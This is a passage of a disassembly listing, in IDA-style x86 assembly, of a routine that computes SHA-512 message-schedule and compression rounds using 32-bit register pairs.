2 shl ecx, 1Eh xor ebp, ebp or ebx, ecx mov [esp+170h+var_128], eax or ebp, edx mov ecx, [esp+170h+var_13C] xor esi, ebp mov ebp, [esp+170h+var_140] mov edx, ecx shld ecx, ebp, 19h xor edi, ebx shr edx, 7 xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_98] and ecx, [esp+170h+var_140] shl ebp, 19h xor ecx, [esp+170h+var_90] or edx, ebp xor edi, edx mov edx, [esp+170h+var_94] and edx, [esp+170h+var_13C] xor esi, ebx xor edx, [esp+170h+var_8C] add edi, ecx adc esi, edx add [esp+170h+var_148], edi adc [esp+170h+var_144], esi cmp [esp+170h+var_15C], 0 jz loc_41540D mov eax, [esp+170h+var_A8] mov ecx, [esp+170h+var_A4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_A4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_118] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_114] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_118] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_114] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor edi, eax mov eax, [esp+170h+arg_0] xor esi, ecx mov ecx, [esp+170h+var_160] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D8] adc edx, [esp+170h+var_D4] add ecx, [esp+170h+var_E0] adc edx, [esp+170h+var_DC] mov [eax+80h], ecx mov [eax+84h], edx mov eax, edx mov [esp+170h+var_D4], eax mov [esp+170h+var_14], eax mov eax, [esp+170h+var_128] mov [esp+170h+var_D8], ecx mov [esp+170h+var_18], ecx jmp short loc_415429 ; --------------------------------------------------------------------------- loc_41540D: ; CODE XREF: sub_4143D0+F41j mov edx, [esp+170h+var_D8] mov ecx, [esp+170h+var_D4] mov [esp+170h+var_18], edx mov [esp+170h+var_14], ecx loc_415429: ; CODE XREF: sub_4143D0+103Bj mov ecx, [esp+170h+var_124] mov ebx, ecx xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_124] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_120] xor esi, ecx mov ecx, [esp+170h+var_124] and ebp, eax mov edi, eax mov eax, [esp+170h+var_11C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_14C] not ebx and ebx, [esp+170h+var_154] not edi and edi, [esp+170h+var_158] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F980[eax*8] adc esi, ds:dword_41F984[eax*8] add edx, [esp+170h+var_18] mov eax, [esp+170h+var_150] adc esi, [esp+170h+var_14] add eax, edx adc ecx, esi add [esp+170h+var_130], eax mov [esp+170h+var_14C], ecx mov [esp+170h+var_150], eax adc [esp+170h+var_12C], ecx mov eax, [esp+170h+var_144] mov ecx, [esp+170h+var_148] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_148] mov ebp, eax shld ebp, ebx, 19h xor edx, edx or edx, ebp mov ebp, [esp+170h+var_13C] xor ebp, [esp+170h+var_134] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_140] xor edi, ecx mov ecx, [esp+170h+var_138] and ebp, eax mov eax, [esp+170h+var_13C] and eax, [esp+170h+var_134] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_148] and edx, ecx xor ebx, edx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_150], edi adc [esp+170h+var_14C], esi cmp [esp+170h+var_15C], 0 jz loc_415651 mov eax, [esp+170h+var_C8] mov ecx, [esp+170h+var_C4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_C4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_D0] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_CC] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_D0] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_CC] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_118] adc edx, [esp+170h+var_114] add ecx, [esp+170h+var_100] adc edx, [esp+170h+var_FC] mov [eax+88h], ecx mov [eax+8Ch], edx mov eax, edx mov [esp+170h+var_118], ecx mov [esp+170h+var_114], eax mov [esp+170h+var_48], ecx jmp short loc_415660 ; --------------------------------------------------------------------------- loc_415651: ; CODE XREF: sub_4143D0+1196j mov edx, [esp+170h+var_118] mov eax, [esp+170h+var_114] mov [esp+170h+var_48], edx loc_415660: ; CODE XREF: sub_4143D0+127Fj mov ecx, [esp+170h+var_12C] mov ebx, ecx mov [esp+170h+var_44], eax mov eax, [esp+170h+var_130] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_12C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_128] xor esi, ecx mov ecx, [esp+170h+var_12C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_124] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_154] not ebx and ebx, [esp+170h+var_11C] not edi and edi, [esp+170h+var_120] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F988[eax*8] adc esi, ds:dword_41F98C[eax*8] add edx, [esp+170h+var_48] mov eax, [esp+170h+var_158] adc esi, [esp+170h+var_44] add eax, edx adc ecx, esi add [esp+170h+var_138], eax mov [esp+170h+var_154], ecx mov [esp+170h+var_158], eax adc [esp+170h+var_134], ecx mov ecx, [esp+170h+var_150] mov eax, [esp+170h+var_14C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_150] mov ebp, eax shld ebp, ebx, 19h shl ebx, 19h mov ecx, eax shr ecx, 7 or ecx, ebx xor edx, edx or edx, ebp xor edi, ecx mov ecx, [esp+170h+var_150] xor esi, edx mov edx, [esp+170h+var_140] mov ebx, ecx xor ebx, edx and ebx, [esp+170h+var_148] mov ebp, eax xor ebp, [esp+170h+var_13C] and eax, [esp+170h+var_13C] and ebp, [esp+170h+var_144] and ecx, edx xor ebx, ecx xor ebp, eax add edi, ebx adc esi, ebp add [esp+170h+var_158], edi adc [esp+170h+var_154], esi cmp [esp+170h+var_15C], 0 jz loc_41589B mov eax, [esp+170h+var_D8] mov ecx, [esp+170h+var_D4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_D4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_F0] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_EC] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_F0] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_EC] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_C8] adc edx, [esp+170h+var_C4] add ecx, [esp+170h+var_110] adc edx, [esp+170h+var_10C] mov [eax+90h], ecx mov [eax+94h], edx mov eax, edx mov [esp+170h+var_C8], ecx mov [esp+170h+var_C4], eax mov [esp+170h+var_80], ecx jmp short loc_4158B0 ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4143D0+13D4j mov edx, [esp+170h+var_C8] mov eax, [esp+170h+var_C4] mov [esp+170h+var_80], edx loc_4158B0: ; CODE XREF: sub_4143D0+14C9j mov ecx, [esp+170h+var_134] mov ebx, ecx mov [esp+170h+var_7C], eax mov eax, [esp+170h+var_138] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_134] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_130] xor esi, ecx mov ecx, [esp+170h+var_134] and ebp, eax mov edi, eax mov eax, [esp+170h+var_12C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_11C] not ebx and ebx, [esp+170h+var_124] not edi and edi, [esp+170h+var_128] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F990[eax*8] adc esi, ds:dword_41F994[eax*8] add edx, [esp+170h+var_80] mov eax, [esp+170h+var_120] adc esi, [esp+170h+var_7C] add eax, edx adc ecx, esi add [esp+170h+var_140], eax mov [esp+170h+var_11C], ecx mov [esp+170h+var_120], eax adc [esp+170h+var_13C], ecx mov ecx, [esp+170h+var_158] mov eax, [esp+170h+var_154] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_158] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_14C] shl ebx, 19h xor esi, edx mov edx, [esp+170h+var_150] mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_158] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_148] and edx, ecx mov ecx, [esp+170h+var_14C] xor ebp, eax and ebp, [esp+170h+var_144] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_120], edi adc [esp+170h+var_11C], esi cmp [esp+170h+var_15C], 0 jz loc_415AE1 mov eax, [esp+170h+var_E8] mov ecx, [esp+170h+var_E4] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_E4] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_118] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_114] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_118] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_114] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_108] adc edx, [esp+170h+var_104] add ecx, [esp+170h+var_F0] adc edx, [esp+170h+var_EC] mov [eax+98h], ecx mov [eax+9Ch], edx mov eax, edx mov [esp+170h+var_F0], ecx mov [esp+170h+var_EC], eax mov [esp+170h+var_78], ecx jmp short loc_415AF6 ; --------------------------------------------------------------------------- loc_415AE1: ; CODE XREF: sub_4143D0+1626j mov edx, [esp+170h+var_F0] mov eax, [esp+170h+var_EC] mov [esp+170h+var_78], edx loc_415AF6: ; CODE XREF: sub_4143D0+170Fj mov ecx, [esp+170h+var_13C] mov ebx, ecx mov [esp+170h+var_74], eax mov eax, [esp+170h+var_140] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_13C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_13C] mov ebx, ecx and ecx, [esp+170h+var_134] mov edi, eax and eax, [esp+170h+var_138] not ebx and ebx, [esp+170h+var_12C] not edi and edi, [esp+170h+var_130] xor ebx, ecx mov ecx, [esp+170h+var_124] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_41F998[eax*8] adc esi, ds:dword_41F99C[eax*8] add edx, [esp+170h+var_78] mov eax, [esp+170h+var_128] adc esi, [esp+170h+var_74] add eax, edx adc ecx, esi add [esp+170h+var_148], eax mov [esp+170h+var_124], ecx mov [esp+170h+var_128], eax adc [esp+170h+var_144], ecx mov eax, [esp+170h+var_11C] mov ecx, [esp+170h+var_120] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_120] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_154] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_158] xor edi, ecx mov ecx, [esp+170h+var_120] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_150] and edx, ecx mov ecx, [esp+170h+var_154] xor ebp, eax and ebp, [esp+170h+var_14C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_128], edi adc [esp+170h+var_124], esi cmp [esp+170h+var_15C], 0 jz loc_415D29 mov eax, [esp+170h+var_C8] mov ecx, [esp+170h+var_C4] mov ebx, ecx mov edi, eax shrd edi, ebx, 13h xor esi, esi or esi, edi mov edi, ecx shr ebx, 13h mov edx, eax mov ebp, eax shld ecx, ebp, 3 shl edx, 0Dh or edx, ebx xor ebx, ebx or ebx, ecx mov ecx, [esp+170h+var_C4] shrd eax, ecx, 6 add ebp, ebp add ebp, ebp add ebp, ebp shr edi, 1Dh or edi, ebp xor esi, edi xor esi, eax mov eax, [esp+170h+var_F8] xor edx, ebx shr ecx, 6 xor edx, ecx mov ecx, [esp+170h+var_F4] mov ebp, ecx mov ebx, eax shrd ebx, ebp, 8 xor edi, edi or edi, ebx mov [esp+170h+var_160], esi mov esi, eax mov ebx, eax shrd eax, ecx, 1 shl esi, 18h shr ebp, 8 or esi, ebp shr ecx, 1 xor ebp, ebp or ebp, eax mov eax, [esp+170h+var_F8] shl ebx, 1Fh or ebx, ecx mov ecx, [esp+170h+var_F4] shrd eax, ecx, 7 shr ecx, 7 xor esi, ebx xor edi, ebp xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_B8] adc edx, [esp+170h+var_B4] add ecx, [esp+170h+var_E8] adc edx, [esp+170h+var_E4] mov [eax+0A0h], ecx mov [eax+0A4h], edx mov eax, edx mov [esp+170h+var_E8], ecx mov [esp+170h+var_E4], eax mov [esp+170h+var_68], ecx jmp short loc_415D3E ; --------------------------------------------------------------------------- loc_415D29: ; CODE XREF: sub_4143D0+1868j mov edx, [esp+170h+var_E8] mov eax, [esp+170h+var_E4] mov [esp+170h+var_68], edx loc_415D3E: ; CODE XREF: sub_4143D0+1957j mov ecx, [esp+170h+var_144] mov ebx, ecx mov [esp+170h+var_64], eax mov eax, [esp+170h+var_148] mov edx, ecx xor esi, esi shr edx, 9 mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h or edx, edi xor ebx, ebx mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_144] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi xor edi, edi mov ebx, eax shrd ebx, ebp, 0Eh or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp xor esi, ecx mov ecx, [esp+170h+var_144] mov ebx, ecx and ecx, [esp+170h+var_13C] mov edi, eax and eax, [esp+170h+var_140] not ebx and ebx, [esp+170h+var_134] not edi and edi, [esp+170h+var_138] xor ebx, ecx mov ecx, [esp+170h+var_12C] xor edi, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_41F9A0[eax*8] adc esi, ds:dword_41F9A4[eax*8] add edx, [esp+170h+var_68] mov eax, [esp+170h+var_130] adc esi, [esp+170h+var_64] add eax, edx adc ecx, esi add [esp+170h+var_150], eax mov [esp+170h+var_12C], ecx mov [esp+170h+var_130], eax adc [esp+170h+var_14C], ecx mov eax, [esp+170h+var_124] mov ecx, [esp+170h+var_128] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx xor edi, edi or edi, edx mov ebp, eax shld ebp, ecx, 1Eh shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shl ecx, 1Eh shr edx, 2 xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ecx, eax mov ebx, [esp+170h+var_128] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_11C] shl ebx, 19h shr ecx, 7 or ecx, ebx xor esi, edx mov edx, [esp+170h+var_120] xor edi, ecx mov ecx, [esp+170h+var_128] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_158] and edx, ecx mov ecx, [esp+170h+var_11C] xor ebp, eax and ebp, [esp+170h+var_154] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_130], edi adc [esp+170h+var_12C], esi cmp [esp+170h+var_15C], 0 jz loc_415F71 mov eax, [esp+170h+var_B0] mov ecx, [esp+170h+var_AC] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_AC] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_F0] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_EC] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_F0] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_EC] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_A8] adc edx, [esp+170h+var_A4] add ecx, [esp+170h+var_F8] adc edx, [esp+170h+var_F4] mov [eax+0A8h], ecx mov [eax+0ACh], edx mov eax, edx mov [esp+170h+var_F8], ecx mov [esp+170h+var_F4], eax mov [esp+170h+var_50], ecx jmp short loc_415F80 ; --------------------------------------------------------------------------- loc_415F71: ; CODE XREF: sub_4143D0+1AB0j mov edx, [esp+170h+var_F8] mov eax, [esp+170h+var_F4] mov [esp+170h+var_50], edx loc_415F80: ; CODE XREF: sub_4143D0+1B9Fj mov ecx, [esp+170h+var_14C] mov ebx, ecx mov [esp+170h+var_4C], eax mov eax, [esp+170h+var_150] xor esi, esi mov edx, ecx mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h xor ebx, ebx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h or ebx, ebp mov ebp, [esp+170h+var_14C] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi shr ebp, 0Eh mov ecx, eax shl ecx, 12h or ecx, ebp mov ebp, [esp+170h+var_148] xor esi, ecx mov ecx, [esp+170h+var_14C] and ebp, eax mov edi, eax mov eax, [esp+170h+var_144] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_134] not ebx and ebx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_140] xor ebx, eax mov eax, [esp+170h+var_15C] xor edi, ebp add edx, edi adc esi, ebx add edx, ds:dword_41F9A8[eax*8] adc esi, ds:dword_41F9AC[eax*8] add edx, [esp+170h+var_50] mov eax, [esp+170h+var_138] adc esi, [esp+170h+var_4C] add eax, edx adc ecx, esi add [esp+170h+var_158], eax mov [esp+170h+var_134], ecx mov [esp+170h+var_138], eax adc [esp+170h+var_154], ecx mov ecx, [esp+170h+var_130] mov eax, [esp+170h+var_12C] mov edx, ecx mov ebx, eax shrd edx, ebx, 1Ch mov esi, ecx mov ebp, eax shld ebp, ecx, 1Eh xor edi, edi or edi, edx shr ebx, 1Ch shl esi, 4 or esi, ebx mov edx, eax shr edx, 2 shl ecx, 1Eh xor ebx, ebx or edx, ecx or ebx, ebp xor edi, edx xor esi, ebx mov ebx, [esp+170h+var_130] xor edx, edx mov ebp, eax shld ebp, ebx, 19h or edx, ebp mov ebp, [esp+170h+var_124] shl ebx, 19h xor esi, edx mov edx, [esp+170h+var_128] mov ecx, eax shr ecx, 7 or ecx, ebx xor edi, ecx mov ecx, [esp+170h+var_130] mov ebx, edx xor ebx, ecx and ebx, [esp+170h+var_120] and edx, ecx mov ecx, [esp+170h+var_124] xor ebp, eax and ebp, [esp+170h+var_11C] and ecx, eax xor ebx, edx xor ebp, ecx add edi, ebx adc esi, ebp add [esp+170h+var_138], edi adc [esp+170h+var_134], esi cmp [esp+170h+var_15C], 0 jz loc_4161C3 mov eax, [esp+170h+var_C0] mov ecx, [esp+170h+var_BC] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, [esp+170h+var_BC] shrd eax, ecx, 7 shl edx, 18h or edx, ebx xor ebx, ebx or ebx, ebp xor esi, ebx xor esi, eax mov eax, [esp+170h+var_E8] xor edx, edi shr ecx, 7 xor edx, ecx mov ecx, [esp+170h+var_E4] mov ebx, eax mov ebp, ecx shrd ebx, ebp, 13h xor edi, edi or edi, ebx mov ebx, ecx mov [esp+170h+var_160], esi mov esi, eax shld ecx, eax, 3 add eax, eax add eax, eax shl esi, 0Dh shr ebp, 13h or esi, ebp add eax, eax shr ebx, 1Dh or ebx, eax mov eax, [esp+170h+var_E8] xor ebp, ebp or ebp, ecx mov ecx, [esp+170h+var_E4] shrd eax, ecx, 6 shr ecx, 6 xor esi, ebp xor edi, ebx xor esi, ecx mov ecx, [esp+170h+var_160] xor edi, eax mov eax, [esp+170h+arg_0] add ecx, edi adc edx, esi add ecx, [esp+170h+var_D0] adc edx, [esp+170h+var_CC] add ecx, [esp+170h+var_B0] adc edx, [esp+170h+var_AC] mov [eax+0B0h], ecx mov [eax+0B4h], edx mov eax, edx mov [esp+170h+var_B0], ecx mov [esp+170h+var_AC], eax mov [esp+170h+var_40], ecx jmp short loc_4161D8 ; --------------------------------------------------------------------------- loc_4161C3: ; CODE XREF: sub_4143D0+1CF6j mov edx, [esp+170h+var_B0] mov eax, [esp+170h+var_AC] mov [esp+170h+var_40], edx loc_4161D8: ; CODE XREF: sub_4143D0+1DF1j mov ecx, [esp+170h+var_154] mov [esp+170h+var_3C], eax mov eax, [esp+170h+var_158] mov ebx, ecx xor esi, esi mov edi, eax shld ebx, edi, 17h or esi, ebx shl edi, 17h mov edx, ecx shr edx, 9 or edx, edi mov ebp, eax shrd ebp, ecx, 12h xor ebx, ebx or ebx, ebp mov ebp, [esp+170h+var_154] xor edx, ebx shr ecx, 12h mov edi, eax shl edi, 0Eh or edi, ecx xor esi, edi mov ebx, eax shrd ebx, ebp, 0Eh xor edi, edi or edi, ebx xor edx, edi mov ecx, eax shl ecx, 12h shr ebp, 0Eh or ecx, ebp mov ebp, [esp+170h+var_150] xor esi, ecx mov ecx, [esp+170h+var_154] and ebp, eax mov edi, eax mov eax, [esp+170h+var_14C] and eax, ecx mov ebx, ecx mov ecx, [esp+170h+var_13C] not edi and edi, [esp+170h+var_148] not ebx and ebx, [esp+170h+var_144] xor edi, ebp xor ebx, eax mov eax, [esp+170h+var_15C] add edx, edi adc esi, ebx add edx, ds:dword_41F9B0[eax*8] mov edi, [esp+170h+var_12C] adc esi, ds:dword_41F9B4[eax*8] add edx, [esp+170h+var_40] mov eax, [esp+170h+var_140] adc esi, [esp+170h+var_3C] add eax, edx adc ecx, esi add [esp+170h+var_120], eax mov esi, [esp+170h+var_130] mov [esp+170h+var_140], eax adc [esp+170h+var_11C], ecx mov [esp+170h+var_13C], ecx mov ecx, [esp+170h+var_138] mov eax, esi xor eax, ecx mov [esp+170h+var_98], eax mov eax, [esp+170h+var_134] mov edx, edi xor edx, eax mov [esp+170h+var_94], edx mov edx, esi and edx, ecx mov [esp+170h+var_90], edx mov edx, edi and edx, eax mov [esp+170h+var_8C], edx mov edx, ecx xor esi, esi shl edx, 4 mov edi, ecx mov ebx, eax shrd edi, ebx, 1Ch shr ebx, 1Ch or edx, ebx or esi, edi mov ebp, eax shld ebp, ecx, 1Eh xor ebx, ebx shl ecx, 1Eh or ebx, ebp mov edi, eax xor edx, ebx mov ebx, [esp+170h+var_138] shr edi, 2 or edi, ecx mov ecx, eax shld eax, ebx, 19h xor esi, edi shr ecx, 7 xor edi, edi or edi, eax mov eax, [esp+170h+var_98] and eax, [esp+170h+var_128] shl ebx, 19h xor eax, [esp+170h+var_90] or ecx, ebx xor esi, ecx mov ecx, [esp+170h+var_94] and ecx, [esp+170h+var_124] xor edx, edi xor ecx, [esp+170h+var_8C] add esi, eax adc edx, ecx add [esp+170h+var_140], esi adc [esp+170h+var_13C], edx cmp [esp+170h+var_15C], 0 jz loc_41643F mov eax, [esp+170h+var_A0] mov ecx, [esp+170h+var_9C] mov ebx, ecx mov edi, eax shrd edi, ebx, 8 mov ebp, eax shrd ebp, ecx, 1 xor esi, esi or esi, edi shr ecx, 1 mov edi, eax mov edx, eax shr ebx, 8 shl edi, 1Fh or edi, ecx mov ecx, 